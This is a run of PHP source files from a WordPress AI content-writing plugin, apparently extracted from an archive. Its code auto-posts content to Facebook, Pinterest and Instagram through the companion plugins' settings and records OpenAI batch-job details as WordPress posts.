$fbomatic_Facebook_Settings['group_post_id']); foreach($pIds as $pId) if(is_numeric(trim($pId))) { $selected_pids[trim($pId)] = $access_token; } } if (count($selected_pids) == 0) { return array('error' => 'Cannot find group id or page ids where to post! Please set up the social poster plugin for this to work!'); } if(isset($fbomatic_Facebook_Settings['limit_content_word_count']) && $fbomatic_Facebook_Settings['limit_content_word_count'] != '') { $post_template = wp_trim_words($post_template, intval($fbomatic_Facebook_Settings['limit_content_word_count']), ''); } $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $fbFile = $social_plugins_folder . "/res/Facebook/autoload.php"; if ($wp_filesystem->exists($fbFile) && $wp_filesystem->is_readable($fbFile)) { try { require_once($fbFile); } catch (Exception $e) { return array('error' => 'Exception thrown in Facebook/autoload.php: ' . $e->getMessage()); } } else { if(!$wp_filesystem->exists($fbFile)) { return array('error' => 'FbInit file does not exist: ' . $fbFile); } elseif(!$wp_filesystem->is_readable($fbFile)) { return array('error' => 'FbInit file does not exist: ' . $fbFile); } else { return array('error' => 'FbInit file is in unknown state... : ' . $fbFile); } } $posted = false; foreach ($selected_pids as $pi => $token) { if ($pi == 0) { continue; } $attachment = array( 'message' => $post_template, 'access_token' => $token, 'link' => $post_link ); if((isset($fbomatic_Facebook_Settings['min_age']) && $fbomatic_Facebook_Settings['min_age'] != '' && $fbomatic_Facebook_Settings['min_age'] != 'any') || (isset($fbomatic_Facebook_Settings['target_country']) && $fbomatic_Facebook_Settings['target_country'] != '') || (isset($fbomatic_Facebook_Settings['target_region']) && $fbomatic_Facebook_Settings['target_region'] != '') || (isset($fbomatic_Facebook_Settings['target_city']) && $fbomatic_Facebook_Settings['target_city'] != '')) { $targeting = array(); if((isset($fbomatic_Facebook_Settings['target_country']) && $fbomatic_Facebook_Settings['target_country'] != '') || (isset($fbomatic_Facebook_Settings['target_region']) && $fbomatic_Facebook_Settings['target_region'] != '') || (isset($fbomatic_Facebook_Settings['target_city']) && $fbomatic_Facebook_Settings['target_city'] != '')) { $geo_locations = array(); if(isset($fbomatic_Facebook_Settings['target_country']) && $fbomatic_Facebook_Settings['target_country'] != '') { $cntry = explode(',', $fbomatic_Facebook_Settings['target_country']); $cntry = array_map('trim', $cntry); $geo_locations['countries'] = $cntry; } if(isset($fbomatic_Facebook_Settings['target_region']) && $fbomatic_Facebook_Settings['target_region'] != '') { $target_region = explode(',', $fbomatic_Facebook_Settings['target_region']); $target_region = array_map('trim', $target_region); $my_regs = array(); foreach($target_region as $tr) { $small_reg = array(); $small_reg['key'] = $tr; $my_regs[] = $small_reg; } $geo_locations['regions'] = $my_regs; } if(isset($fbomatic_Facebook_Settings['target_city']) && $fbomatic_Facebook_Settings['target_city'] != '') { $target_city = explode(',', $fbomatic_Facebook_Settings['target_city']); $target_city = array_map('trim', $target_city); $my_regs_c = array(); foreach($target_city as $tc) { $small_reg = array(); $small_reg['key'] = $tc; $my_regs_c[] = $small_reg; } $geo_locations['cities'] = $my_regs_c; } $targeting['geo_locations'] = $geo_locations; } if(isset($fbomatic_Facebook_Settings['min_age']) && $fbomatic_Facebook_Settings['min_age'] != '' && $fbomatic_Facebook_Settings['min_age'] != 'any') { $targeting['age_min'] = $fbomatic_Facebook_Settings['min_age']; } $attachment['targeting'] = $targeting; } try { $GLOBALS['wp_object_cache']->delete('fbomatic_last_time', 'options'); $last_time = get_option('fbomatic_last_time', false); if($last_time !== false && intval($last_time) + 1 < time()) { $sleep_time = rand (600000, 800000); usleep($sleep_time); } if (isset($fbomatic_Main_Settings['api_version']) && $fbomatic_Main_Settings['api_version'] != 'default' && $fbomatic_Main_Settings['api_version'] != '') { $api_ver = $fbomatic_Main_Settings['api_version']; } else { $api_ver = FBOMATIC_API_VER; } $facebook = new Facebook\Facebook(array( 'app_id' => $app_id, 'app_secret' => $app_secret, 'default_graph_version' => 'v' . $api_ver, 'cookie' => true )); $result = $facebook->post('/' . $pi . '/feed/', $attachment); update_option('fbomatic_last_time', time()); $posted = true; } catch (Exception $e) { update_option('fbomatic_last_time', time()); return array('error' => 'Exception thrown in Facebook auto posting: ' . $e->getMessage()); } } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_image_to_facebook($card_type_found, $post_template, $image_link, $page_to_post) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $fbomatic_Facebook_Settings = get_option('fbomatic_Facebook_Settings', false); $fbomatic_Main_Settings = get_option('fbomatic_Main_Settings', false); if (!isset($fbomatic_Main_Settings['app_id2']) || trim($fbomatic_Main_Settings['app_id2']) == '') { if (!isset($fbomatic_Main_Settings['app_id']) || trim($fbomatic_Main_Settings['app_id']) == '') { return array('error' => 'Facebook App ID not set in F-omatic plugin settings! Please set up the social poster plugin for this to work!'); } } if (!isset($fbomatic_Main_Settings['app_secret2']) || trim($fbomatic_Main_Settings['app_secret2']) == '') { if (!isset($fbomatic_Main_Settings['app_secret']) || trim($fbomatic_Main_Settings['app_secret']) == '') { return array('error' => 'Facebook App secret not set in F-omatic plugin settings! Please set up the social poster plugin for this to work!'); } } if (isset($fbomatic_Main_Settings['app_secret2']) && trim($fbomatic_Main_Settings['app_secret2']) != '') { $app_secret = trim($fbomatic_Main_Settings['app_secret2']); } else { if (isset($fbomatic_Main_Settings['app_secret']) && trim($fbomatic_Main_Settings['app_secret']) != '') { $app_secret = trim($fbomatic_Main_Settings['app_secret']); } } if (isset($fbomatic_Main_Settings['app_id2']) && trim($fbomatic_Main_Settings['app_id2']) != '') { $app_id = trim($fbomatic_Main_Settings['app_id2']); } else { if (isset($fbomatic_Main_Settings['app_id']) && trim($fbomatic_Main_Settings['app_id']) != '') { $app_id = trim($fbomatic_Main_Settings['app_id']); } } $authorized = FALSE; if (get_option('fbomatic_auth_id', false) !== FALSE) { if (get_option('fbomatic_auth_secret', false) !== FALSE) { if ($app_id == get_option('fbomatic_auth_id', false) && $app_secret == get_option('fbomatic_auth_secret', false)) { $authorized = TRUE; } } } if ($authorized === FALSE) { return array('error' => 'Plugin not authorized to post! For this to work, please authorize the social poster plugin from its settings!'); } if (!isset($fbomatic_Main_Settings['access_token']) || $fbomatic_Main_Settings['access_token'] == '') { $access_token = get_option('fbomatic_access_token', false); } else { $access_token = $fbomatic_Main_Settings['access_token']; } $store = get_option('fbomatic_page_ids', false); $pageIds = array(); if ($store !== false) { $store = explode(',', $store); $count = count($store); for ($i = 0; $i < $count; $i++) { $exploding = explode('-', $store[$i]); if (!isset($exploding[2])) { continue; } $pageIds[$exploding[0]] = $exploding[1]; } } $store = get_option('fbomatic_group_ids', false); $groupIds = array(); if ($store !== false) { $store = explode(',', $store); $count = count($store); for ($i = 0; $i < $count; $i++) { $exploding = explode('-', $store[$i]); if (!isset($exploding[2])) { continue; } $groupIds[$exploding[0]] = $exploding[1]; } } if (count($groupIds) == 0 && count($pageIds) == 0) { return array('error' => 'No groupd id or page id selected in social poster plugin settings! Please set up the social poster plugin for this to work!'); } $selected_pids = array(); if($page_to_post != '') { foreach ($pageIds as $pId => $token) { if ($pId == $page_to_post) { $selected_pids[$pId] = $token; } } } else { if (isset($fbomatic_Facebook_Settings['facebook_pages']) && is_array($fbomatic_Facebook_Settings['facebook_pages'])) { $facebook_pages = $fbomatic_Facebook_Settings['facebook_pages']; foreach ($pageIds as $pId => $token) { if (in_array($pId, $facebook_pages)) { $selected_pids[$pId] = $token; } } } } if (isset($fbomatic_Facebook_Settings['facebook_groups']) && is_array($fbomatic_Facebook_Settings['facebook_groups'])) { $facebook_groups = $fbomatic_Facebook_Settings['facebook_groups']; foreach ($groupIds as $pId => $token) { if (in_array($pId, $facebook_groups)) { $selected_pids[$pId] = $token; } } } if(isset($fbomatic_Facebook_Settings['group_post_id']) && $fbomatic_Facebook_Settings['group_post_id'] != '') { $pIds = explode(',', $fbomatic_Facebook_Settings['group_post_id']); foreach($pIds as $pId) { if(is_numeric(trim($pId))) { $selected_pids[trim($pId)] = $access_token; } } } if (count($selected_pids) == 0) { return array('error' => 'Cannot find group id or page ids where to post! Please set up the social poster plugin for this to work!'); } if(isset($fbomatic_Facebook_Settings['limit_content_word_count']) && $fbomatic_Facebook_Settings['limit_content_word_count'] != '') { $post_template = wp_trim_words($post_template, intval($fbomatic_Facebook_Settings['limit_content_word_count']), ''); } $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $fbFile = $social_plugins_folder . "/res/Facebook/autoload.php"; if ($wp_filesystem->exists($fbFile) && $wp_filesystem->is_readable($fbFile)) { try { require_once($fbFile); } catch (Exception $e) { return array('error' => 'Exception thrown in Facebook/autoload.php: ' . $e->getMessage()); } } else { if(!$wp_filesystem->exists($fbFile)) { return array('error' => 'FbInit file does not exist: ' . $fbFile); } elseif(!$wp_filesystem->is_readable($fbFile)) { return array('error' => 'FbInit file does not exist: ' . $fbFile); } else { return array('error' => 'FbInit file is in unknown state... : ' . $fbFile); } } $posted = false; foreach ($selected_pids as $pi => $token) { if ($pi == 0) { continue; } $attachment = array( 'caption' => $post_template, 'access_token' => $token, 'url' => $image_link ); if((isset($fbomatic_Facebook_Settings['min_age']) && $fbomatic_Facebook_Settings['min_age'] != '' && $fbomatic_Facebook_Settings['min_age'] != 'any') || (isset($fbomatic_Facebook_Settings['target_country']) && $fbomatic_Facebook_Settings['target_country'] != '') || (isset($fbomatic_Facebook_Settings['target_region']) && $fbomatic_Facebook_Settings['target_region'] != '') || (isset($fbomatic_Facebook_Settings['target_city']) && $fbomatic_Facebook_Settings['target_city'] != '')) { $targeting = array(); if((isset($fbomatic_Facebook_Settings['target_country']) && $fbomatic_Facebook_Settings['target_country'] != '') || (isset($fbomatic_Facebook_Settings['target_region']) && $fbomatic_Facebook_Settings['target_region'] != '') || (isset($fbomatic_Facebook_Settings['target_city']) && $fbomatic_Facebook_Settings['target_city'] != '')) { $geo_locations = array(); if(isset($fbomatic_Facebook_Settings['target_country']) && $fbomatic_Facebook_Settings['target_country'] != '') { $cntry = explode(',', $fbomatic_Facebook_Settings['target_country']); $cntry = array_map('trim', $cntry); $geo_locations['countries'] = $cntry; } if(isset($fbomatic_Facebook_Settings['target_region']) && $fbomatic_Facebook_Settings['target_region'] != '') { $target_region = explode(',', $fbomatic_Facebook_Settings['target_region']); $target_region = array_map('trim', $target_region); $my_regs = array(); foreach($target_region as $tr) { $small_reg = array(); $small_reg['key'] = $tr; $my_regs[] = $small_reg; } $geo_locations['regions'] = $my_regs; } if(isset($fbomatic_Facebook_Settings['target_city']) && $fbomatic_Facebook_Settings['target_city'] != '') { $target_city = explode(',', $fbomatic_Facebook_Settings['target_city']); $target_city = array_map('trim', $target_city); $my_regs_c = array(); foreach($target_city as $tc) { $small_reg = array(); $small_reg['key'] = $tc; $my_regs_c[] = $small_reg; } $geo_locations['cities'] = $my_regs_c; } $targeting['geo_locations'] = $geo_locations; } if(isset($fbomatic_Facebook_Settings['min_age']) && $fbomatic_Facebook_Settings['min_age'] != '' && $fbomatic_Facebook_Settings['min_age'] != 'any') { $targeting['age_min'] = $fbomatic_Facebook_Settings['min_age']; } $attachment['targeting'] = $targeting; } try { $GLOBALS['wp_object_cache']->delete('fbomatic_last_time', 'options'); $last_time = get_option('fbomatic_last_time', false); if($last_time !== false && intval($last_time) + 1 < time()) { $sleep_time = rand (600000, 800000); usleep($sleep_time); } if (isset($fbomatic_Main_Settings['api_version']) && $fbomatic_Main_Settings['api_version'] != 'default' && $fbomatic_Main_Settings['api_version'] != '') { $api_ver = $fbomatic_Main_Settings['api_version']; } else { $api_ver = FBOMATIC_API_VER; } $facebook = new Facebook\Facebook(array( 'app_id' => $app_id, 'app_secret' => $app_secret, 'default_graph_version' => 'v' . $api_ver, 'cookie' => true )); $result = $facebook->post('/' . $pi . '/photos/', $attachment); update_option('fbomatic_last_time', time()); $posted = true; } catch (Exception $e) { update_option('fbomatic_last_time', time()); return array('error' => 'Exception thrown in Facebook image auto posting: ' . $e->getMessage()); } } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_image_to_pinterest($card_type_found, $post_template, $pinterest_title, $pin_me, $image_link, $page_to_post) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $pinterestomatic_Pinterest_Settings = get_option('pinterestomatic_Pinterest_Settings', false); $pinterestomatic_Main_Settings = get_option('pinterestomatic_Main_Settings', false); if (!isset($pinterestomatic_Pinterest_Settings['app_id']) || trim($pinterestomatic_Pinterest_Settings['app_id']) == '') { return array('error' => 'Please insert your cookie string in plugin settings before we can automatically publish on Pinterest.'); } $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); require_once($social_plugins_folder . "/res/vendor/autoload.php"); require_once($social_plugins_folder . "/res/Pinterest/Pinterest.php"); $proxy = ''; if (isset($pinterestomatic_Main_Settings['proxy_url']) && $pinterestomatic_Main_Settings['proxy_url'] != '') { $proxy = $pinterestomatic_Main_Settings['proxy_url']; } $posted = false; try { if($pinterest_title != '') { if(function_exists('mb_substr')) { if(mb_strlen($pinterest_title) >= 100) { $postTitle = mb_substr( $pinterest_title, 0, 97 ) . '...'; } else { $postTitle = $pinterest_title; } } else { if(strlen($pinterest_title) >= 100) { $postTitle = substr( $pinterest_title, 0, 97 ) . '...'; } else { $postTitle = $pinterest_title; } } } else { if(function_exists('mb_substr')) { if(mb_strlen($post_template) >= 100) { $postTitle = mb_substr( $post_template, 0, 97 ) . '...'; } else { $postTitle = $post_template; } } else { if(strlen($post_template) >= 100) { $postTitle = substr( $post_template, 0, 97 ) . '...'; } else { $postTitle = $post_template; } } } $pinterest = false; $prev_cookie = false; $imagesLocale = [$image_link]; $sbr = explode('~~~', $page_to_post); if(isset($sbr[1])) { if($prev_cookie !== trim($sbr[1]) || $pinterest === false) { try { $pinterest = new PinterestCookieApi( trim($sbr[1]), $proxy ); if($pinterest === false) { pinterestomatic_log_to_file ('Authorisation failed on Pinterest using cookie: ' . trim($sbr[1])); return; } $prev_cookie = trim($sbr[1]); } catch (Exception $e) { pinterestomatic_log_to_file ('Authorisation error on Pinterest ' . $e->getMessage()); return; } } try { $res = $pinterest->sendPost( trim($sbr[0]), $postTitle, $post_template, $pin_me, $imagesLocale ); $posted = true; } catch (Exception $e) { pinterestomatic_log_to_file("Exception while posting media to Pinterest for board ID: " . trim($sbr[0]) . ', error: ' . esc_html($e->getMessage()) . ' -- remaining: ' . $pinterest->getRateLimitRemaining()); } if(isset($pinterestomatic_Pinterest_Settings['timeout_post']) && $pinterestomatic_Pinterest_Settings['timeout_post'] != '' && is_numeric($pinterestomatic_Pinterest_Settings['timeout_post'])) { usleep($pinterestomatic_Pinterest_Settings['timeout_post'] * 1000); } } else { if($pinterest === false) { try { $pinterest = new PinterestCookieApi( trim($pinterestomatic_Pinterest_Settings['app_id']), $proxy ); if($pinterest === false) { pinterestomatic_log_to_file ('Authorisation failed on Pinterest using cookie: ' . trim($sbr[1])); return; } } catch (Exception $e) { pinterestomatic_log_to_file ('Authorisation error on Pinterest ' . $e->getMessage()); return; } } try { $res = $pinterest->sendPost( $page_to_post, $postTitle, $post_template, $pin_me, $imagesLocale ); $posted = true; } catch (Exception $e) { pinterestomatic_log_to_file("Exception while posting media to Pinterest for board ID: " . $page_to_post . ', error: ' . esc_html($e->getMessage()) . ' -- remaining: ' . $pinterest->getRateLimitRemaining()); } if(isset($pinterestomatic_Pinterest_Settings['timeout_post']) && $pinterestomatic_Pinterest_Settings['timeout_post'] != '' && is_numeric($pinterestomatic_Pinterest_Settings['timeout_post'])) { usleep($pinterestomatic_Pinterest_Settings['timeout_post'] * 1000); } } } catch (Exception $e) { pinterestomatic_log_to_file("General exception occured while posting to Pinterest: " . $e->getMessage()); } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_image_to_instagram($card_type_found, $post_template, $image_link) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $instamatic_Main_Settings = get_option('instamatic_Main_Settings', false); if (!isset($instamatic_Main_Settings['app_id']) || trim($instamatic_Main_Settings['app_id']) == '') { return array('error' => 'Instagram App ID not set in Instamatic plugin settings! Please set up the social poster plugin for this to work!'); } if (!isset($instamatic_Main_Settings['app_secret']) || trim($instamatic_Main_Settings['app_secret']) == '') { return array('error' => 'Instagram App secret not set in Instamatic plugin settings! Please set up the social poster plugin for this to work!'); } $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $posted = false; if(!class_exists('\GuzzleHttp\Client') || !class_exists('\Phpfastcache\Helper\Psr16Adapter')) { require_once($social_plugins_folder . '/res/vendor-old/autoload.php'); } require_once($social_plugins_folder . '/res/PHPImage/PHPImage.php'); require_once($social_plugins_folder . "/res/Instagram-post/instagram-photo-video-upload-api.class.php"); $my_proxy = ''; if (isset($instamatic_Main_Settings['proxy_url']) && $instamatic_Main_Settings['proxy_url'] != '') { if (isset($instamatic_Main_Settings['proxy_prot']) && $instamatic_Main_Settings['proxy_prot'] != '') { $prot = $instamatic_Main_Settings['proxy_prot']; } else { $prot = 'http://'; } $prx = explode(',', $instamatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); if (isset($instamatic_Main_Settings['proxy_auth']) && $instamatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $instamatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { $my_proxy = $prot . $prx_auth[$randomness] . '@' . $prx[$randomness]; } else { $my_proxy = $prot . $prx[$randomness]; } } else { $my_proxy = $prot . $prx[$randomness]; } } $appids = preg_split('/\r\n|\r|\n/', trim($instamatic_Main_Settings['app_id'])); $appsecrets = preg_split('/\r\n|\r|\n/', instamatic_encrypt_decrypt('decrypt', $instamatic_Main_Settings['app_secret'])); $rand_index = array_rand($appids); if(!isset($appsecrets[$rand_index])) { return array('error' => 'Please be sure to enter the same number of Instagram user IDs and passwords!'); } $myappid = $appids[$rand_index]; $myappsecret = $appsecrets[$rand_index]; $apiInstance = new InstagramLoginPassMethod( trim($myappid), $myappsecret, $my_proxy ); $rrez = $apiInstance->login(); if ( isset( $rrez[ 'status' ] ) && $rrez[ 'status' ] === 'fail' ) { return array('error' => 'Failed to log in to Instagram, please check if your username and password are correct!'); } else { if(!isset($rrez[ 'logged_in_user' ][ 'pk' ])) { return array('error' => "Invalid response from Instagram: " . print_r($rrez, true)); } $delete_file = false; $restore_img = ''; try { $temp_img = $image_link; $isAscii = true; $len = strlen($image_link); for ($i = 0; $i < $len; $i++) { if (ord($image_link[$i]) > 127) { $isAscii = false; break; } } if($isAscii == true && !$wp_filesystem->is_file($image_link)) { } else { try { if(!class_exists('\Eventviva\ImageResize')){require_once ($social_plugins_folder . "/res/ImageResize/ImageResize.php");} $imageRes = new ImageResize($image_link); $imageRes->quality_jpg = 98; if($imageRes->getSourceWidth() != $imageRes->getSourceHeight()) { $min_ar = 0.5240740740740741; $max_ar = 1.25; $img_ar = $imageRes->getSourceHeight() / $imageRes->getSourceWidth(); if($imageRes->getSourceWidth() >= 320 && $imageRes->getSourceWidth() <= 1080 && $img_ar >= $min_ar && $img_ar <= $max_ar) { $temp_img = $image_link; } else { if(!($imageRes->getSourceWidth() == 1080 && $imageRes->getSourceHeight() == 566) || ($imageRes->getSourceWidth() == 1080 && $imageRes->getSourceHeight() == 1350)) { if($imageRes->getSourceWidth() > $imageRes->getSourceHeight()) { $imageRes->resize(1080, 566, true); } else { $imageRes->resize(1080, 1350, true); } $temp_img = instamatic_get_temp_dir() . 'instamaticimg' . uniqid() . '.jpg'; $imageRes->save($temp_img); } } } } catch(Exception $e) { instamatic_log_to_file('Failed to resize image at posting: ' . $e->getMessage()); } } $delete = false; if(!$wp_filesystem->exists($temp_img)) { $the_temp_img_local = instamatic_get_temp_dir() . 'instamaticlocal' . uniqid() . '.jpg'; instamatic_downloadFile($temp_img, $the_temp_img_local); if($wp_filesystem->exists($the_temp_img_local)) { $temp_img = $the_temp_img_local; $delete = true; } else { $ftimeout = 300; $fh = fopen($the_temp_img_local, "w"); if ($fh) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $temp_img); curl_setopt($ch, CURLOPT_FILE, $fh); curl_setopt($ch, CURLOPT_TIMEOUT, $ftimeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); curl_setopt($ch, CURLOPT_REFERER, $temp_img); curl_exec($ch); if (curl_errno($ch)) { instamatic_log_to_file('Error in curl download: ' . curl_error($ch)); } curl_close($ch); fclose($fh); } if($wp_filesystem->exists($the_temp_img_local)) { instamatic_log_to_file('File downloaded using curl method: ' . $temp_img . ' locally to: ' . $the_temp_img_local); $temp_img = $the_temp_img_local; $delete = true; } } if(!$wp_filesystem->exists($temp_img)) { try { if(!class_exists('\Eventviva\ImageResize')){require_once ($social_plugins_folder . "/res/ImageResize/ImageResize.php");} $imageRes = new ImageResize($temp_img); $imageRes->quality_jpg = 98; if($imageRes->getSourceWidth() != $imageRes->getSourceHeight()) { if(!($imageRes->getSourceWidth() == 1080 && $imageRes->getSourceHeight() == 566) || ($imageRes->getSourceWidth() == 1080 && $imageRes->getSourceHeight() == 1350)) { if($imageRes->getSourceWidth() > $imageRes->getSourceHeight()) { $imageRes->resize(1080, 566, true); } else { $imageRes->resize(1080, 1350, true); } $temp_img = instamatic_get_temp_dir() . 'instamaticimg' . uniqid() . '.jpg'; $imageRes->save($temp_img); } } } catch(Exception $e) { instamatic_log_to_file('Failed to resize image at posting, stage 2: ' . $e->getMessage()); } } } if(stristr($temp_img, '.png') !== false) { $featured_image_tmp = instamatic_png2jpg($temp_img); if($featured_image_tmp !== false) { $restore_img = $temp_img; $temp_img = $featured_image_tmp; $delete_file = true; } } } catch (Exception $e) { instamatic_log_to_file("Exception while processing media for Instagram upload, for " . $image_link . ' : ' . $e->getMessage()); } try { $za_img = $apiInstance->imageForFeed($temp_img); } catch (Exception $e) { instamatic_log_to_file("Exception while creating image resource for " . $temp_img . ' : ' . $e->getMessage()); } try { $ppost = $apiInstance->uploadPhoto( $rrez[ 'logged_in_user' ][ 'pk' ], $za_img, $post_template, $image_link, 'timeline' ); $posted = true; } catch (Exception $e) { instamatic_log_to_file("Exception while posting media to Instagram for " . $image_link . ' : ' . $e->getMessage()); } if (isset($instamatic_Main_Settings['enable_detailed_logging'])) { instamatic_log_to_file('Result: ' . print_r($ppost, true)); } if($delete == true) { if ($wp_filesystem->exists($temp_img)) { $wp_filesystem->delete($temp_img); } } if($delete_file == true && $restore_img != '') { if ($wp_filesystem->exists($image_link)) { $wp_filesystem->delete($image_link); } $image_link = $restore_img; } } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } ?>aiomatic-god-mode-omniblock.php000064400000003142147577714370012535 0ustar00 'function', 'function' => aiomatic_get_god_mode_object_omniblock()); return $return_arr; } add_filter('aiomatic_ai_functions', 'aiomatic_add_god_mode_omniblock', 999, 1); function aiomatic_add_god_mode_omniblock($query) { if(is_array($query)) { $functions = $query; } else { $functions = array(); } if ( current_user_can( 'access_aiomatic_menu' ) ) { $functions['functions'] = aiomatic_return_god_function_omniblock(); $functions['message'] = ''; } return $functions; } ?>aiomatic-batches-file.php000064400000031447147577714370011426 0ustar00 'error', 'msg' => 'Something went wrong batch request saving'); $args = array( 'post_type' => 'aiomatic_batches', 'meta_query' => array( array( 'key' => '_batch_id', 'value' => $my_batch['id'], 'compare' => 'EXISTS' ), ), ); $updated = false; $query = new WP_Query( $args ); require_once (dirname(__FILE__) . "/res/aiomatic-batch-api.php"); if ( $query->have_posts() ) { while ( $query->have_posts() ) { $query->the_post(); $post_id = get_the_ID(); $batch_id = get_post_meta($post_id, '_batch_id', true); if(!empty($batch_id)) { $batch_status = get_post_meta($post_id, '_batch_status', true); if($batch_status == $my_batch['status'] && ($batch_status == 'failed' || $batch_status == 'cancelled' || $batch_status == 'completed' || $batch_status == 'expired')) { $updated = true; $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $post_id; continue; } $failed = false; try { $batch = aiomatic_openai_retrieve_batch($token, $batch_id); if(!isset($batch['id'])) { throw new Exception('Incorrect response from batch grabbing: ' . print_r($batch, true)); } } catch(Exception $e) { aiomatic_log_to_file('Exception in batch grabbing: ' . $e->getMessage()); $failed = true; } if($failed == false) { $batch_data = array( 'post_type' => 'aiomatic_batches', 'post_title' => $batch['id'], 'post_status' => 'publish', 'ID' => $post_id ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $local_batch_id = wp_update_post($batch_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($local_batch_id)) { aiomatic_log_to_file('Failed to update batch request ' . $local_batch_id->get_error_message()); } elseif($local_batch_id === 0) { aiomatic_log_to_file('Failed to update batch request to database: ' . $batch['id']); } else { $updated = true; update_post_meta($local_batch_id, '_batch_id', $batch['id']); update_post_meta($local_batch_id, '_batch_endpoint', $batch['endpoint']); update_post_meta($local_batch_id, '_batch_completion_window', $batch['completion_window']); update_post_meta($local_batch_id, '_batch_errors', $batch['errors']); update_post_meta($local_batch_id, '_batch_input_file_id', $batch['input_file_id']); update_post_meta($local_batch_id, '_batch_status', $batch['status']); update_post_meta($local_batch_id, '_batch_output_file_id', $batch['output_file_id']); update_post_meta($local_batch_id, '_batch_created_at', $batch['created_at']); update_post_meta($local_batch_id, '_batch_in_progress_at', $batch['in_progress_at']); update_post_meta($local_batch_id, '_batch_expires_at', $batch['expires_at']); update_post_meta($local_batch_id, '_batch_finalizing_at', $batch['finalizing_at']); update_post_meta($local_batch_id, '_batch_completed_at', $batch['completed_at']); update_post_meta($local_batch_id, '_batch_failed_at', $batch['failed_at']); update_post_meta($local_batch_id, '_batch_expired_at', $batch['expired_at']); update_post_meta($local_batch_id, '_batch_cancelling_at', $batch['cancelling_at']); update_post_meta($local_batch_id, '_batch_cancelled_at', $batch['cancelled_at']); update_post_meta($local_batch_id, '_batch_request_count', $batch['request_counts']['total']); update_post_meta($local_batch_id, '_batch_request_completed', $batch['request_counts']['completed']); update_post_meta($local_batch_id, '_batch_request_failed', $batch['request_counts']['failed']); update_post_meta($local_batch_id, '_batch_error_file_id', $batch['error_file_id']); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $local_batch_id; } } } } } if(!$updated) { $postdate = date("Y-m-d H:i:s", $my_batch['created_at']); $batch_data = array( 'post_type' => 'aiomatic_batches', 'post_title' => $my_batch['id'], 'post_date' => $postdate, 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $local_batch_id = wp_insert_post($batch_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($local_batch_id)) { $aiomatic_result['msg'] = $local_batch_id->get_error_message(); } elseif($local_batch_id === 0) { $aiomatic_result['msg'] = 'Failed to insert batch request to database: ' . $title; } else { update_post_meta($local_batch_id, '_batch_id', $my_batch['id']); update_post_meta($local_batch_id, '_batch_endpoint', $my_batch['endpoint']); update_post_meta($local_batch_id, '_batch_completion_window', $my_batch['completion_window']); update_post_meta($local_batch_id, '_batch_errors', $my_batch['errors']); update_post_meta($local_batch_id, '_batch_input_file_id', $my_batch['input_file_id']); update_post_meta($local_batch_id, '_batch_status', $my_batch['status']); update_post_meta($local_batch_id, '_batch_output_file_id', $my_batch['output_file_id']); update_post_meta($local_batch_id, '_batch_created_at', $my_batch['created_at']); update_post_meta($local_batch_id, '_batch_in_progress_at', $my_batch['in_progress_at']); update_post_meta($local_batch_id, '_batch_expires_at', $my_batch['expires_at']); update_post_meta($local_batch_id, '_batch_finalizing_at', $my_batch['finalizing_at']); update_post_meta($local_batch_id, '_batch_completed_at', $my_batch['completed_at']); update_post_meta($local_batch_id, '_batch_failed_at', $my_batch['failed_at']); update_post_meta($local_batch_id, '_batch_expired_at', $my_batch['expired_at']); update_post_meta($local_batch_id, 